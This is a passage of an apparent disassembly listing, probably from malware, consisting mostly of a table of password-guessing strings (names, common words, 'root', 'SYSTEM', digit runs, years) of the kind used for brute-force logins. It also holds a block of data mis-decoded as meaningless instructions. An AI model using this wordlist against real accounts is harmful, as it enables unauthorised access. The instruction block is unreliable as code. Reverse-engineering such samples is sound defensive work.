dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
; ---------------------------------------------------------------------------
loc_42DAA4: ; CODE XREF: .nsp0:loc_42DAA4j
jz short loc_42DAA4
inc edx
add [esi+edi*8+42h], ch
add [esi+edi*8+42h], ah
add [eax-2], bl
inc edx
add [esi+edi*8+42h], cl
add [esi+edi*8+42h], al
add [esi+edi*8], bh
inc edx
add [esi+edi*8], dh
inc edx
add [eax], ch
inc byte ptr [edx+0]
and dh, bh
inc edx
add [eax], bl
inc byte ptr [edx+0]
or al, 0FEh
inc edx
add [esi+edi*8], al
inc edx
add ah, bh
std
inc edx
add ah, dh
std
inc edx
add ah, ch
std
inc edx
add ah, ah
std
inc edx
add ah, bl
std
inc edx
add ah, dl
std
inc edx
add ah, cl
std
inc edx
add al, al
std
inc edx
add [eax-53FFBD03h], bh
std
inc edx
add [eax-67FFBD03h], ah
std
inc edx
add [eax-77FFBD03h], dl
std
inc edx
add [eax+780042FDh], al
std
inc edx
add [eax-3], dh
inc edx
add [ebp+edi*8+42h], ah
add [ebp+edi*8+42h], bl
add [eax-3], dl
inc edx
add [eax-3], cl
inc edx
add [eax-3], al
inc edx
add [eax], bh
std
inc edx
add [eax], dh
std
inc edx
add [eax], ch
std
inc edx
add ds:0FD140042h[edi*8], bl
inc edx
add ds:0FD040042h[edi*8], cl
inc edx
add ah, bh
cld
inc edx
add ah, dh
cld
inc edx
add ah, ch
cld
inc edx
add ah, ah
cld
inc edx
add ah, bl
cld
inc edx
add ah, dl
cld
inc edx
add ah, cl
cld
inc edx
add ah, al
cld
inc edx
add [esp+edi*8-34BFFBEh], bh
inc edx
add [esp+edi*8-35FFFBEh], ch
inc edx
add [esp+edi*8-377FFBEh], dl
inc edx
add [eax+780042FCh], al
cld
inc edx
add [eax-4], dh
inc edx
add [eax-4], ch
inc edx
add [eax-4], ah
inc edx
add [eax-4], bl
inc edx
add [eax-4], dl
inc edx
add [esp+edi*8+42h], al
add [eax], bh
cld
inc edx
add [eax], dh
cld
inc edx
add [eax], ch
cld
inc edx
add [eax], ah
cld
inc edx
add [eax], bl
cld
inc edx
add [eax], dl
cld
inc edx
add [eax], cl
cld
inc edx
; ---------------------------------------------------------------------------
db 0
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_0 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset dword_42F3FC
dd offset dword_42F3F8
dd offset dword_42F3F4
dd offset dword_42F3F0
dd offset dword_42F3E8
dd offset dword_42F3E0
dd offset dword_42F3D8
dd offset dword_42F3CC
dd offset loc_4263DB+1
dd offset dword_42F3C8
dd offset off_42F3C4
dd offset a@_6 ; "@"
dd offset a@@ ; "@@"
dd offset asc_42F3B8 ; "+"
dd offset asc_42F3B4 ; "++"
dd offset asc_42F3B0 ; "+++"
dd offset asc_42F3A8 ; "++++"
dd offset asc_42F3A4 ; "-"
dd offset asc_42F3A0 ; "--"
dd offset asc_42F3A0 ; "--"
dd offset asc_42F398 ; "----"
dd offset asc_42F394 ; "-+"
dd offset asc_42F38C ; "--++"
dd offset a0 ; "=-0"
dd offset a789_0 ; "789+"
dd offset a456_0 ; "456+"
dd offset asc_42F374 ; "$"
dd offset asc_42F370 ; "$$"
dd offset asc_42F36C ; "$$$"
dd offset a@_5 ; "*&^%$#@!"
dd offset a@_4 ; "&^%$#@!"
dd offset a@_3 ; "^%$#@!"
dd offset a@_2 ; "%$#@!"
dd offset a@_1 ; "$#@!"
dd offset a@_0 ; "#@!"
dd offset a@ ; "@!"
dd offset dword_4263F0
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_426CB0 ; "*"
dd offset asc_42F31C ; "**"
dd offset asc_42F318 ; "***"
dd offset asc_42F310 ; "****"
dd offset asc_42F308 ; "*****"
dd offset asc_42F300 ; "******"
dd offset asc_42F2F8 ; "*******"
dd offset asc_42F2EC ; "********"
dd offset asc_42F2E0 ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc_0 ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex ; "SEX"
dd offset aNokia ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_1 ; "a"
dd offset aAa ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword_0 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aQwertyu ; "qwertyu"
dd offset aQwertyui ; "qwertyui"
dd offset aQwertyuio ; "qwertyuio"
dd offset aQwertyuiop ; "qwertyuiop"
dd offset aRoot ; "root"
dd offset aServer_0 ; "server"
dd offset aService ; "service"
dd offset aServers ; "servers"
dd offset aServices ; "services"
dd offset aSystem ; "system"
dd offset aSystem_0 ; "SYSTEM"
dd offset off_42EC80
dd offset aChi ; "chi"
dd offset aKor_0 ; "kor"
dd offset aTiger ; "tiger"
dd offset aKor ; "KOR"
dd offset aToyota ; "TOYOTA"
